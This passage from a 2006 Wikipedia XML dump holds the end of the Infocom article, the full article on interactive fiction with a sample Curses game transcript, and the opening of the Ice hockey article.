&lt;!-- Note 1: Infocom was actually one of the very few companies (if not the only one) to release game software for the C128 as such, contrary to most software houses, who only catered for the C64(and thence the compatible C128 in C64 mode only) --&gt;

==History==

===The beginning===

Inspired by ''[[Colossal Cave Adventure|Colossal Cave]]'', Marc Blank and Dave Lebling created what was to become the first Infocom game, ''[[Zork]]'', in [[1977]] at [[Massachusetts Institute of Technology|MIT]]'s [[Project MAC|Laboratory for Computer Science]].  Despite the development of a revolutionary virtual memory system that allowed games to be much larger than the average personal computer's normal capacity, the enormous mainframe-developed game had to be split into three roughly equal parts.  ''Zork I'' was released originally for the [[TRS-80]] in [[1980]] and eventually sold more than a million copies across several platforms.  Lebling and Blank each authored several more games and additional game writers (or &quot;implementors&quot;) were hired, notably including [[Steve Meretzky]].  Other popular and inventive titles included the rest of the ''Zork'' series, ''[[The Hitchhiker's Guide to the Galaxy (computer game)|The Hitchhiker's Guide to the Galaxy]]'' by [[Douglas Adams]], and ''[[A Mind Forever Voyaging]]''.

In its first few years of operation, text adventures proved to be a huge revenue stream for the company.  Whereas most computer games of the era would achieve initial success and then suffer a significant drop-off in sales, Infocom titles continued to sell for years and years.  One key employee said of their situation, &quot;It was phenomenal&amp;mdash;we had a basement that just printed money.&quot;

=== Standing out from the competition ===

Three key components proved key to Infocom's success: marketing strategy, rich storytelling and feelies.  Whereas most game developers sold their games mainly in software stores, Infocom also distributed their games via bookstores.  Since their games were text-based, patrons of bookstores were drawn to the Infocom games as they were already interested in reading.  Next, Infocom titles featured strong storytelling and rich descriptions, eschewing the day's primitive graphic capabilities, allowing users to use their own imaginations for the lavish and exotic locations the games described.  Third, the inclusion of &quot;[[feelies]]&quot;&amp;mdash;imaginative props and extras tied to the game's theme&amp;mdash;provided some copy protection against [[software piracy|pirating]].  Some games were unsolveable without the extra content provided with the boxed game.

Many of the games' puzzles proved too difficult for some players.  Infocom was regularly flooded with phone calls from customers pleading for hints to solving game puzzles.  Due to this, [[Mike Dornbrook]] created the [[Zork User's Group]] (ZUG) to handle a typewritten &quot;pay-per-hint&quot; service.  He also started Infocom's customer newsletter called ''The New Zork Times'' to discuss game hints and preview and showcase new products. (After the threat of a lawsuit by the [[New York Times]], the newsletter's name was later changed to ''The Status Line'', a reference to an informational feature provided the player in every Infocom game.)

The pay-per-hint service eventually led to the development of [[InvisiClues]]: books with hints, maps, clues and solutions for puzzles in the games.  The answers to the puzzles were printed in invisible ink that only became visible with a special marker, provided with each book.  Sales of InvisiClues proved incredibly lucrative: their sales consistently filled computer book best seller lists until the list developers were forced to combine all InvisiClues sales into one number, which simply assured that it would almost always occupy the topmost position.

=== Serious mistakes... ===

In [[1984]] Infocom started putting resources into a new division to produce business products. In [[1985]] they released a [[relational database|database]] product, ''[[Cornerstone (software)|Cornerstone]]''. Though this application was hailed upon its release for ease of use, it sold only 10,000 copies; not enough to cover the development expenses.  Whereas their games had benefitted significantly from the portability offered by running on top of a virtual machine, this strategy did not prove to be a significant advantage for ''Cornerstone''; in fact, the virtual machine significantly slowed the database's execution speed. Most businesses were moving to the [[IBM PC]] platform by that time, so portability was no longer a significant differentiator. Infocom had sunk much of the money from games sales into ''Cornerstone''; this, in addition to a slump in computer game sales, left the company in a very precarious financial position.

=== ...and the Activision takeover ===

A surprising lack of offers for such a successful company led to the [[1985]] acquisition of Infocom by [[Activision]].  This turned out to be the beginning of the end for Infocom.  While relations were cordial between the two companies at first, the departure of [[James Levy]] from Activision left [[Bruce Davis]] in charge.  Davis believed that his company had paid too much for Infocom and initiated a lawsuit against them to recoup some of the cost.  Furthermore, he made a string of poor, heavy-handed decisions that made Infocom unprofitable.  For example:
*Davis demanded they use Activision's packaging plant instead of their own in-house one, raising the cost of each package from $0.45 each to over $0.90 each.  In addition, the Activision plant made numerous mistakes in packaging where the Infocom one almost never did.
*Infocom had a successful marketing approach that kept all their games in store inventories for years.  Because of this, older titles sales often kept pace with sales of newer games.  For example, because ''Zork'' was available for years after its initial release in [[1980]], it continued to top charts in sales well into the mid-1980s.  Activision preferred to market Infocom's games the way they marketed their other titles: replacing older titles with newer ones.  While this made sense for the graphically intensive games that made up the rest of Activision's catalog, since Infocom games were text based, it didn't make sense--the newer games didn't have improved ''text''.  This marketing approach cut off potential revenue for numerous Infocom titles that had consistently brought in money for several years.
*Davis demanded the struggling developer must produce eight titles a year. Infocom had traditionally produced about four games per year with more staff than they currently had.
*Davis pushed Infocom to release more graphical games, but the one they did release bombed. This was, in part, due to Infocom's long-standing rule of maximum portability; a game that could display graphics on a number of different systems couldn't take advantage of the strengths of any of them.

=== The end ===

Rising costs and falling profits due to these changes and other botched ventures caused Activision to finally pull the plug on Infocom in [[1989]]. For a few years, Activision continued to market Infocom's classic games in collections (usually by genre, such as the Science Fiction collection); in 1991, they published ''[[The Lost Treasures of Infocom]]'', followed in [[1992]] by ''[[The Lost Treasures of Infocom|The Lost Treasures of Infocom II]]''. These two compilations featured nearly every game produced by Infocom before [[1988]]. (''[[Leather Goddesses of Phobos]]'' was not included in either bundle, but could be ordered via a coupon included with ''Lost Treasures II''.) In [[1996]], these were followed by ''[[Classic Text Adventure Masterpieces of Infocom]]'', a single CD-ROM which contained the works of both collections combined.

==Titles &amp; authors==
===Interactive Fiction===
*The ''[[Zork]]'' series:
** The original Zork Trilogy (Marc Blank &amp; Dave Lebling):
***''[[Zork I]]: The Great Underground Empire'' ([[1980]])
***''[[Zork II]]: The Wizard of Frobozz'' ([[1981]])
***''[[Zork III]]: The Dungeon Master'' ([[1982]]) 
** The ''Enchanter'' Trilogy:
***''[[Enchanter (computer game)|Enchanter]]'' ([[1983]], Marc Blank)
***''[[Sorcerer (computer game)|Sorcerer]]'' ([[1984]], [[Steve Meretzky]])
***''[[Spellbreaker]]'' ([[1985]], Dave Lebling)
** ''[[Beyond Zork|Beyond Zork: The Coconut of Quendor]]'' ([[1987]], [[Brian Moriarty]])
** ''[[Zork Zero|Zork Zero: The Revenge of Megaboz]]'' ([[1988]], Steve Meretzky)
**''[[Zork: The Undiscovered Underground]]'' ([[1997]], [[Michael Berlyn]] and Marc Blank)
*''[[Deadline (computer game)|Deadline]]'' (1982, Marc Blank)
*''[[Starcross (computer game)|Starcross]]'' (1982, Dave Lebling)
*''[[Suspended|Suspended: A Cryogenic Nightmare]]'' (1983, Michael Berlyn)
*''[[Infidel (computer game)|Infidel]]'' (1983, Michael Berlyn)
*''[[Planetfall]]'' (1983, Steve Meretzky)
*''[[The Witness (computer game)|The Witness]]'' (1983, [[Stu Galley]])
*''[[Cutthroats (computer game)|Cutthroats]]'' (1984, Michael Berlyn &amp; [[Jerry Wolper]])
*''[[The Hitchhiker's Guide to the Galaxy (computer game)|The Hitchhiker's Guide to the Galaxy]]'' (1984, Steve Meretzky &amp; [[Douglas Adams]])
*''[[Seastalker]]'' (1984, Stu Galley &amp; [[Jim Lawrence (Cartoonist)|Jim Lawrence]])
*''[[Suspect (computer game)|Suspect]]'' (1984, Dave Lebling)
*''[[A Mind Forever Voyaging]]'' (1985, Steve Meretzky)
*''[[Wishbringer|Wishbringer: The Magick Stone of Dreams]]'' (1985, Brian Moriarty)
*''[[Ballyhoo (computer game)|Ballyhoo]]'' ([[1986]], [[Jeff O'Neill]])
*''[[Hollywood Hijinx]]'' (1986, [[Dave Anderson (game designer)|&quot;Hollywood&quot; Dave Anderson]])
*''[[Leather Goddesses of Phobos]]'' (1986, Steve Meretzky)
*''[[Moonmist]]'' (1986, Stu Galley)
*''[[Trinity (computer game)|Trinity]]'' (1986, Brian Moriarty)
*''[[Border Zone]]'' (1987, Marc Blank)
*''[[Bureaucracy (computer game)|Bureaucracy]]'' (1987, Infocom &amp; Douglas Adams)
*''[[The Lurking Horror]]'' (1987, Dave Lebling)
*''[[Nord and Bert Couldn't Make Head or Tail of It]]'' (1987, Jeff O'Neill)
*''[[Plundered Hearts]]'' (1987, [[Amy Briggs]])
*''[[Stationfall]]'' (1987, Steve Meretzky)
*''[[Sherlock: The Riddle of the Crown Jewels]]'' (1988, [[Bob Bates]])
*''[[Arthur: The Quest for Excalibur]]'' ([[1989]], Bob Bates)
*''[[James Clavell's Shogun]]'' (1989, Dave Lebling)
*''[[Journey (computer game)|Journey]]'' (1989, Marc Blank)

===Other Titles===
* Graphic Adventures
**''[[Leather Goddesses of Phobos 2: Gas Pump Girls Meet the Pulsating Inconvenience from Planet X!]]'' ([[1992]], Steve Meretzky)
**''[[Return to Zork]]'' ([[1993]])
**''[[Zork: Nemesis]]'' ([[1996]])  
**''[[Zork Grand Inquisitor]]'' (1997) 
* [[BattleTech]] Games
**''[[BattleTech: The Crescent Hawk's Inception]]'' (1988, developed by [[Westwood Studios]])
**''[[BattleTech: The Crescent Hawk's Revenge]]'' ([[1991]], developed by Westwood Studios)
* Other Games
**''[[Fooblitzky]]'' (1985, Marc Blank, Mike Berlyn, [[Poh Lim]] &amp; [[Paula Maxwell]])
**''[[Quarterstaff: The Tomb of Setmoth]]'' (1988, [[Scott Schmitz]], [[Ken Updike]] &amp; Amy Briggs)
**''[[Mines of Titan]]'' (1988, [[Louis Castle]] &amp; [[Brett Sperry]])
**''[[Tombs and Treasure]]'' (1989, developed by [[Nihon Falcom]])
**''[[Circuit's Edge]]'' (1989, developed by [[Westwood Studios]])
* Infocomics
**''Lane Mastodon vs. the Blubbermen'' (1988, Steve Meretzky)
**''Gamma Force in Pit of a Thousand Screams'' (1988, Amy Briggs)
**''ZorkQuest: Assault on Egreth Castle'' (1988, [[Elizabeth Langosy]])
**''ZorkQuest II: The Crystal of Doom'' (1988, Elizabeth Langosy)

===Collections===
*''The Zork Trilogy'' (1986; contained ''Zork I'', ''Zork II'' &amp; ''Zork III'')
*''The Enchanter Trilogy'' (1986; contained ''Enchanter'', ''Sorcerer'' &amp; ''Spellbreaker'')
*''[[The Lost Treasures of Infocom]]'' (1991; contained 20 of Infocom's interactive fiction games)
*''[[The Lost Treasures of Infocom|The Lost Treasures of Infocom II]]'' (1992; contained 11 interactive fiction games)
*''The Zork Anthology'' ([[1994]]; contained ''Zork I'', ''Zork II'', ''Zork III'', ''Beyond Zork'' &amp; ''Zork Zero'')
*''The Masterpieces of Infocom'' (1996; contained 33 Infocom games plus six winners of the [[SPAG]] Interactive Fiction Contest not affiliated with Infocom)
*''Zork Special Edition'' (1997; contained ''Zork I'', ''Zork II'', ''Zork III'', ''Beyond Zork'', ''Zork Zero'', ''Return to Zork'', ''Zork: Nemesis'' &amp; ''Planetfall'')
*''Zork Classics: Interactive Fiction'' ([[2000]])

==Legacy==
With the exception of ''The Hitchhiker's Guide to the Galaxy'' and ''Shogun'', the copyrights to the Infocom games are believed to be still held by Activision. Many Infocom titles can be downloaded via the [[Internet]], legally in the case of the ''Zork'' trilogy and ''The Hitchhiker's Guide to the Galaxy'', but in violation of the copyright in most other cases. They are available as [[Z-machine]] story files and require a Z-machine interpreter to play. Interpreters are available for most computer platforms, the most widely used being the [[Frotz]], [[Zip (interpreter)|Zip]] and [[Nitfol]] interpreters.

==Notes==
# Infocom was actually one of the very few companies (if not the only one) to release game software for the [[Commodore 128|C128]]'s native mode, contrary to most software houses' practice of only catering for the combined C64/128 market (as the C128 was compatible with the C64)

==See also==
*[[69105 (number)|69,105]], a number commonly found as an in-joke in many Infocom titles.

==External links==
*[http://www.mobygames.com/browse/games/v,1/o,100/j,22/ MobyGames' entry on Infocom]
*[http://infodoc.plover.net/ Infocom Documentation Project]
*[http://www.atarimagazines.com/compute/issue92/245_1_Interactive_Text_In_An_Animated_Age.php 1988 Interview with Joel Berez and Marc Blank]
*[http://www.infocom-if.org/ Infocom's history, games and authors]
*[http://www.if-legends.org/~pdd/infocom/fact-sheet.txt Infocom Fact-sheet]
*[http://www.csd.uwo.ca/Infocom/ INFOCOM Homepage by Peter Scheyen]&amp;mdash;An enthusiast's home page, containing, among many other resources, a timeline of Infocom's founding, releases and eventual dissolution.
*[http://mit.edu/6.933/www/Fall2000/infocom/ ''Down From the Top of Its Game: The Story of Infocom, Inc.'']&amp;mdash;A report from [[Massachusetts Institute of Technology|MIT]] which offers a very detailed examination of Infocom's creative successes and marketing failures. A must-read for Infocom fans.
*[http://infocom.elsewhere.org/gallery/ The Infocom Gallery] with photos of all game boxes, feelies, instruction manuals and extra game contents
*[http://www.retrology.com/infcover.htm A gallery of Infocom box art]
*[http://www.gue-network.com GUE-Network], contains an extensive image gallery of packaging, maps, and screenshots from the games
* [http://www.xs4all.nl/~pot/infocom/ Online java version of various Infocom games]
*[http://home.kc.rr.com/bobfahey/text_adv.htm Bob's Interactive Fiction page]
*[http://www.thedoteaters.com/play4sta1.htm Article at The Dot Eaters], featuring an extensive history of Infocom and its games

===Newsgroups===
*[news://rec.arts.int-fiction &lt;tt&gt;rec.arts.int-fiction&lt;/tt&gt;] with discussion of IF design
*[news://rec.games.int-fiction &lt;tt&gt;rec.games.int-fiction&lt;/tt&gt;] with discussion of IF reading/playing

[[Category:Defunct computer and video game companies]]
[[Category:Infocom]]
[[Category:Interactive fiction]]

[[de:Infocom]]
[[fr:Infocom]]
[[ru:Infocom]]</text>
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  </page>
  <page>
    <title>Interactive fiction</title>
    <id>14789</id>
    <revision>
      <id>42023171</id>
      <timestamp>2006-03-03T07:31:03Z</timestamp>
      <contributor>
        <username>Grue</username>
        <id>97993</id>
      </contributor>
      <minor />
      <comment>/* Notable works of interactive fiction */ fix facade link</comment>
      <text xml:space="preserve">[[Image:Zork_screenshot.png|thumb|300px|Zork, an early work of interactive fiction, running on a modern interpreter]]

'''Interactive fiction,''' often abbreviated '''IF''', describes software containing simulated environments in which players use text commands to control characters. Works in this form can be understood as literary narratives and as [[computer game]]s. In common usage, the word refers to '''text adventures''', a type of [[adventure game]] with text-based input and output. The term is sometimes used to encompass the entirety of the medium, but is also sometimes used to distinguish games produced by the interactive fiction community from those created by games companies. It can also be used to disambiguate the more modern style of such works, focusing on narrative, from the more traditional focus on [[puzzle]]s. More expansive definitions of interactive fiction may refer to all adventure games, including wholly graphical adventures such as ''[[Myst]]''.

Today, interactive fiction no longer appears to be commercially viable, but a constant stream of new works is produced by an online interactive fiction community, using freely available development systems. Most of these games can be downloaded for free from the Interactive Fiction Archive (see [[Interactive fiction#External links|external links]]).

Since [[1995]] there has been an annual [[Interactive Fiction Competition]] for relatively short works. There are also annual [[XYZZY Awards]] given out in various categories, modelled on the [[Academy Awards]]. Another annual competition, the [[Spring Thing]], has been held since [[2001]] to highlight works considered to be too long for the Interactive Fiction Competition.

== The medium of interactive fiction==

Text adventures are one of the oldest types of [[computer and video games|computer games]] and form a subset of the [[adventure game|adventure]] genre. The player uses text input to control the game and the game state is relayed to the player via text output.

Input is usually provided by the player in the form of simple [[Sentence (linguistics)|sentence]]s such as &quot;get key&quot; or &quot;go east&quot; which may be handled by a simple [[parsing|parser]]. Parsers vary in sophistication; the first text adventure parsers could only handle two-word sentences in the form of verb-noun pairs. Later parsers could handle increasing levels of complexity from sentences such as &quot;open the red box with the green key then go north&quot;. This level of complexity is the standard for works of interactive fiction today.

Works of interactive fiction function like single-player [[MUD|Multi-User Dungeons]] or 'MUDs', and the original MUD was actually a multi-player generalization of ''[[Zork]]'' (one version of which was called ''Dungeon''). MUDs, which became popular in the mid-[[1980s]], rely on a textual exchange and accept similar commands from players as do works of IF, but the social aspects and the communities of players who participate are often the most important features of MUDs.

Interactive fiction usually relies on [[reading (activity)|reading]] from a screen and on [[typing]] input, although speech synthesis allows blind and visually impaired users to play interactive fiction.

== History ==

===''Adventure''===
Around [[1975]] [http://jerz.setonhill.edu/if/canon/Adventure.htm], [[Will Crowther]] wrote the first text adventure game, ''[[Colossal Cave Adventure|Adventure]]'' (originally called ''ADVENT'' because a filename could only be six characters long in its [[operating system]], and later ''Colossal Cave''). It was programmed in [[Fortran programming language|Fortran]] for the [[PDP-10]]. In [[1976]], [[Don Woods]] discovered ''Adventure'' while working at the Stanford Artificial Intelligence Lab, and obtained Crowther's permission to expand the game. Crowther's original version was more or less realistic; Woods' changes were reminiscent of the writings of [[J.R.R. Tolkien]], and included a troll, elves, and a volcano inspired by [[Mount Doom]].

In [[1976]], the game began spreading on [[ARPANet]], and has survived on the [[Internet]] to this day. The game has since been ported to many other [[operating system]]s.

The popularity of ''Adventure'' led to the wide success of interactive fiction during the late [[1970s]] and the [[1980s]], when home computers had little, if any, graphics capability.

===The commercial era===
====Infocom====

In the [[United States]], the best-known company producing works of interactive fiction was [[Infocom]], which created the ''[[Zork]]'' series and many other titles; among them ''[[Trinity (computer game)|Trinity]]'', ''[[The Hitchhiker's Guide to the Galaxy (computer game)|The Hitchhiker's Guide to the Galaxy]]'' and ''[[A Mind Forever Voyaging]]''.

In June of [[1977]], [[Marc Blank]], [[Bruce K. Daniels]], [[Tim Anderson (Zork)|Tim Anderson]], and [[Dave Lebling]] began writing the mainframe version of ''[[Zork]]'' (also known as ''Dungeon''), at the [[MIT Laboratory for Computer Science]]. The game was programmed in a computer language called [[MDL programming language|MDL]], a variant of [[LISP programming language|LISP]]. In early [[1979]], the game was completed. Ten members of the [[MIT Dynamics Modelling Group]] went on to join Infocom when it was incorporated later that year.

In order to make its games as portable as possible, Infocom developed the [[Z-Machine]], a custom [[virtual machine]] which could be implemented on a large number of platforms, and which took standardized &quot;story files&quot; as input.

Infocom's games were popular for many years, but the company was bought by [[Activision]] in [[1986]] after the failure of ''[[Cornerstone (software)|Cornerstone]]'', its database software program, and stopped producing text adventures a few years later.

Infocom's games are now considered the classics of the genre, and the period in which it was active is thought of as the first golden age of interactive fiction. In [[1991]] and [[1992]], Activision released volumes one and two of ''[[The Lost Treasures of Infocom]]'', a collection containing most of Infocom's games.

====Adventure International====

[[Adventure International]] was founded by [[Scott Adams (game designer)|Scott Adams]] (not the creator of [[Dilbert]]).

In [[1978]], Adams wrote ''[[Adventureland]]'', which was loosely patterned after the original Advent. He took out a small ad in a computer magazine in order to promote and sell ''Adventureland'', thus creating the first commercial adventure game. In [[1979]] he founded Adventure International, the first commercial publisher of interactive fiction. The company went bankrupt in [[1985]].

====Legend Entertainment====
[[Legend Entertainment]] was founded by [[Bob Bates]] and [[Mike Verdu]] in [[1989]]. It started out from the ashes of Infocom.

Their text adventures used (hi-res) graphics as well as sound, but were still &quot;true&quot; text adventures. In many areas, the parser was better than the one used by Infocom. Among their better-known titles are ''[[Eric the Unready]]'', the ''[[Spellcasting]]'' series and ''[[Gateway (computer game)|Gateway]]'' (based on [[Frederik Pohl]]'s novels).

The last text adventure created by Legend was ''[[Gateway II]]'', while the last game ever was ''[[Unreal 2]]'' (the well-known [[first person shooter]] action game). Legend was shut down in [[2004]] by Atari.

====Other companies====

Probably the first commercial work of interactive fiction produced outside the U.S. was the [[dungeon crawl]] game of ''[[Acheton]]'', produced in Cambridge, England, by [[Topologika]]. Other leading companies in the [[United Kingdom|U.K.]] were [[Magnetic Scrolls]] and [[Level 9 Computing]]. Also worthy of mention are [[Delta 4]], [[Acornsoft]], [[Melbourne House]], and the homebrew company [[Zenobi]].

In Japan, companies such as [[Data West]] developed limited interactive fiction games, such as the seven-volume murder mystery series ''Misty''.[http://retropc.net/fm-7/museum/datawest/330201800.html] Later, interactive fiction became more popular in Japan in the form of [[visual novel]]s.

===The modern era===

After the demise of the commercial interactive fiction market, an online community eventually formed around the medium. In [[1987]], the [[Usenet]] newsgroup &lt;tt&gt;rec.arts.int-fiction&lt;/tt&gt; was created (focusing on ''creating'' interactive fiction), and was soon followed by &lt;tt&gt;rec.games.int-fiction&lt;/tt&gt; (which focuses on ''playing'' interactive fiction games).

One of the most important early developments was the reverse-engineering of Infocom's [[Z-Code]] format and [[Z-Machine]] [[virtual machine]] by the [[InfoTaskForce]], a group of enthusiasts, in [[1987]], and the subsequent development of an [[interpreter (computing)|interpreter]] for Z-Code story files. As a result, it became possible to play Infocom's work on modern computers.

For years amateurs formed a small community producing interactive fiction works of relatively limited scope using the [[Adventure Game Toolkit]] and similar tools. The breakthrough that allowed the interactive fiction community to truly prosper, however, was the creation and distribution of two sophisticated development systems. In [[1987]], [[Michael J. Roberts]] released [[TADS]], a programming language designed to produce works of interactive fiction. In [[1993]], [[Graham Nelson]] released [[Inform]], a [[programming language]] and set of libraries which [[compiler|compiled]] to a Z-Code story file. Each of these systems allowed anyone with sufficient time and dedication to create a game, and caused a growth boom in the online interactive fiction community.

Today, the games created by enthusiasts of the genre regularly surpass the quality of the original Infocom games, and a number of yearly competitions and awards are given out to the best games in the field, among them the annual [[Interactive Fiction Competition]] for short works, the newer [[Spring Thing]] for longer works, and the [[XYZZY Awards]]. Newer games, such as ''[[Photopia]]'' and ''[[So Far]]'', have further increased the vitality of the interactive fiction genre.

== Notable works of interactive fiction ==
* ''[[Colossal Cave Adventure]]'' by [[Will Crowther]] and [[Don Woods]] was the first text adventure ever made.
* The ''[[Zork]]'' series by [[Infocom]] ([[1979]]- ) was the first text adventure to see widespread release.
* ''[[The Hobbit (video game)|The Hobbit]]'' by [[Philip Mitchell]] and [[Veronika Megler]] of [[Beam Software]] ([[1982]])
* ''[[The Hitchhiker's Guide to the Galaxy (computer game)|The Hitchhiker's Guide to the Galaxy]]'', by [[Douglas Adams]] and [[Steve Meretzky]] of [[Infocom]] ([[1984]])
* ''[[A Mind Forever Voyaging]]'', by [[Steve Meretzky]] of [[Infocom]] ([[1985]]), first story-heavy, puzzle-light game.
* ''[[Amnesia (Computer Game)|Amnesia]]'', by [[Hugo Award]] and [[Nebula Award]] winning science fiction and fantasy author [[Thomas M. Disch]] ([[1987]]), the only text adventure ever published by [[Electronic Arts]].
* ''[[Curses (computer game)|Curses]]'', by [[Graham Nelson]] ([[1993]]), the first game ever written in the [[Inform]] programming language, and a classic in its own right. Considered one of the first &quot;modern&quot; games to meet the high standards set by Infocom's best titles.
* ''[[So Far]]'', by [[Andrew Plotkin]] ([[1996]]) is considered by many to be a modern benchmark for its integration of story and puzzle design.
* ''[[Photopia]]'', by [[Adam Cadre]] ([[1998]]), the first almost entirely puzzle-free game. Initially highly controversial.
* ''[[Galatea (computer game)|Galatea]]'', by [[Emily Short]] ([[2000]]).  Galatea is focused entirely on interaction with the animated statue of the same name.  Galatea has one of the most complex interaction systems for a [[non-player character]] in an interactive fiction game.
* ''[[Façade (Interactive Story)|Façade]]'', by [[Michael Mateas]] and [[Andrew Stern]] of auto-mata.org [http://www.auto-mata.org/] ([[2005]]), A game with noticably advanced AI. Characters understand typing and respond.

== Sample transcript ==
This is a brief transcript from one of many possible ways to not win the game ''[[Curses (computer game)|Curses]]'', by [[Graham Nelson]].  The player has entered instructions on the lines beginning with '&gt;' (shown here in italic); the rest of the text is printed by the computer.  The computer begins with a printed introduction giving a little context to the game (much more would become apparent as the game progressed):

 It's become a matter of pride now not to give up. That tourist map of Paris
 must be up here somewhere in all this clutter, even if it has been five years
 since your last trip. And it's your own fault. It looks as if your
 great-grandfather was the last person to tidy up these lofts...
 
 '''CURSES'''
 An Interactive Diversion
 Copyright (c) 1993 by Graham Nelson. New players should type &quot;help&quot;.
 Release 8 / Serial number 930603  (Compiled by Inform v634)
 
 '''Attic'''
 
 The attics, full of low beams and awkward angles, begin here in a
 relatively tidy area which extends north, south and east. The wooden
 floorboards seem fairly sound, just as well considering how heavy all
 these teachests are. But the old wiring went years ago, and there's no
 electric light.
  
 A hinged trapdoor in the floor stands open, and light streams in from below.
  
 &gt;''inventory''
 You are carrying:
   a chocolate biscuit
   an electric torch (providing light and closed)
   a crumpled piece of paper
  
 &gt;''read paper''
   Things to do:
  
   1. Find map
   2. Phone airport to check parking
   3. Health forms...
  
 and so on. Let's face it, 1. is more enticing than the rest put together.
  
 &gt;''enter trapdoor''
 
 Yes, probably just as well to give up looking, and heaven knows
 there's enough packing to do, what with the rest of the family in
 uproar. Oh well.
  
  
    *** You have missed the point entirely ***
 
 
 In that game you scored 0 out of a possible 550, in 3 turns, giving
 you the rank of hapless Tourist.
 
 Would you like to RESTART, RESTORE a saved game, give the FULL score
 for that game or QUIT?
 &gt;

== Interactive fiction development systems ==

A number of systems are available today to write interactive fiction.
* [[ADRIFT]]
* [[Alan programming language|Alan]]
* [[Inform]]
* [[Hugo programming language|Hugo]]
* [[Olitext]]
* [[TADS]]
* [[T.A.G.]] (German)
* [[InformATE]] (Spanish)
* [[Superglús]] (Spanish)

The majority of recent IF development use Inform, TADS, or ADRIFT. In the 2005 IFComp, the entered games consisted of: [http://www.ifcomp.org/comp05/games.php]
* [[Z-Code]] (Inform [[Virtual machine|VM]]): 17
* TADS 2: 6
* ADRIFT: 5
* [[Glulx]] (A second Inform [[Virtual machine|VM]]): 2
* TADS 3: 1
* ALAN: 1
* HUGO: 1
* Windows executable: 3

While familiarity with a programming language leads many new authors to attempt to produce their own complete IF application, most established IF authors recommend use of a specialised IF language, arguing that such systems allow authors to avoid the technicalities of producing a full featured parser, while allowing broad community support. The choice of authoring system usually depends on the author's desired balance of ease of use vs power, and the portability of the final product. [http://brasslantern.org/writers/howto/chooselang.html]

== See also ==
*[[Choose Your Own Adventure]]
*[[Fighting Fantasy Game Books]]
*[[Roleplaying Game]]s, which are occasionally described as another form of interactive fiction.
*[[Visual novel]], interactive fiction with graphics.
*[[Adventure game#Graphical_adventure_games|Graphic adventures]], adventure games with roots in interactive fiction.
*[[Amateur adventure game]]
*[[Grue (monster)|Grue]]

== External links ==
*[http://www.ifarchive.org The Interactive Fiction Archive] ([[HTML]]), [ftp://ftp.ifarchive.org/if-archive ditto] ([[File Transfer Protocol|FTP]]) See also Baf's Guide, next
*[http://baf.wurb.com/if/ Baf's Guide to the Interactive Fiction Archive] Useful for finding games in the IF Archive
*[http://www.ifwiki.org The Interactive Fiction Wiki] A MediaWiki wiki specific to Interactive Fiction.
*[http://www.brasslantern.org Brass Lantern] A web site dedicated to discussion and reviews of Interactive Fiction.
*[http://www.carouselchain.com/if/statistics.php Interactive Fiction Ratings] Lists of the most popular games
*[http://www.sparkynet.com/spag/noframe.html SPAG], a free online newsletter
*[http://usuarios.lycos.es/SPAC/ SPAC], a free online newsletter in Spanish.
*[http://www.xyzzynews.com XYZZYnews], a free online newsletter
*[http://www.ifcomp.org/ Annual Interactive Fiction Competition]
*[http://www.springthing.net/ Spring Thing], an annual Interactive Fiction competition for longer works
*[http://brasslantern.org/community/history/timeline-c.html A timeline of events in the history of interactive fiction]
*[http://www.ministryofpeace.com/if-review/ IF-Review] A site dedicated to reviewing interactive fiction
*[[Usenet]] news groups (if you have a news client):
**[news://rec.arts.int-fiction &lt;tt&gt;rec.arts.int-fiction&lt;/tt&gt;] Discussion of IF design
**[news://rec.games.int-fiction &lt;tt&gt;rec.games.int-fiction&lt;/tt&gt;] Discussion of IF reading/playing
*[http://www.eblong.com/zarf/if.html Interactive Fiction of Andrew Plotkin], distribution site for several of the most renowned modern IFs, such as ''So Far'', ''Shade'', ''Spider and Web'', and ''A Change in the Weather''.
*[http://JimBbq.wikispaces.org A collaborative Interactive Fiction with Wiki]
*[http://www.andybrain.com/archive/interactive_fiction.htm Interactive Fiction: More Than Retro Fun] A beginners introduction and setup guide to Interactive Fiction games and interpreters
*[http://caad.mine.nu Club de Aventuras AD] (CAAD), the portal of the Spanish interactive fiction community.

== Alternative definitions ==
The term &quot;interactive fiction&quot; is also occasionally used to refer to [[hypertext fiction]] or [[collaborative fiction]]. 

It is also used to refer to literary works that are not read in a linear fashion, but rather the reader is given choices at different points in the text; the reader's choice determines the flow and outcome of the story. The most famous example of this form of interactive fiction is the [[Choose Your Own Adventure]] book series. Examples of interactive fiction are most often found in the genres of fantasy and science fiction and aimed at young readers, but examples can also be found in more adult-oriented genres such as romantic fiction and erotica.

[[Category:Interactive fiction]]
[[Category:Role-playing game terms]]
[[pt:Ficção Interactiva]]
[[es:Aventura conversacional]]
[[eo:Interreagema fikcio]]
[[fi:Tekstiseikkailu]]
[[fr:Fiction interactive]]
[[pl:Hiperfikcja]]
[[ru:Interactive Fiction]]
[[zh:&amp;#25991;&amp;#23383;&amp;#20882;&amp;#38505;&amp;#28216;&amp;#25103;]]</text>
    </revision>
  </page>
  <page>
    <title>Ice hockey</title>
    <id>14790</id>
    <revision>
      <id>42083105</id>
      <timestamp>2006-03-03T18:37:34Z</timestamp>
      <contributor>
        <username>Flibirigit</username>
        <id>461496</id>
      </contributor>
      <minor />
      <comment>/* Terminology */ added photo</comment>
      <text xml:space="preserve">{{dablink|For the [[Nintendo Entertainment System|NES]] [[video game]] of the same title, see [[Ice Hockey (video game)]].}}
[[Image:Calgary saddledome hitmen game.JPG|thumb|250px|right|A junior ice hockey game, being played at the [[Pengrowth Saddledome]] in [[Calgary, Alberta|Calgary, Alberta, Canada]].]] 

'''Ice hockey''', referred to simply as &quot;'''[[hockey]]'''&quot; in [[Canada]] and the [[United States]], is a team [[sport]] played on [[ice]].  It is one of the world's fastest sports, with players on [[skates]] capable of going high speeds on natural or artificial ice surfaces. The most prominent ice hockey nations are [[Canada]], [[Czech Republic]], [[Finland]], [[Russia]], [[Sweden]], [[Slovakia]], and the [[United States]].  While there are 64 total members of the [[International Ice Hockey Federation]], those seven nations have traditionally dominated the field for decades.  Of the sixty medals awarded in men's competition at the Olympic level from 1920 on, only six did not go to one of those countries (or a former entity thereof, such as [[Czechoslovakia]] or the [[Soviet Union]]) and only one such medal was awarded above bronze.  {{ref|medals}}

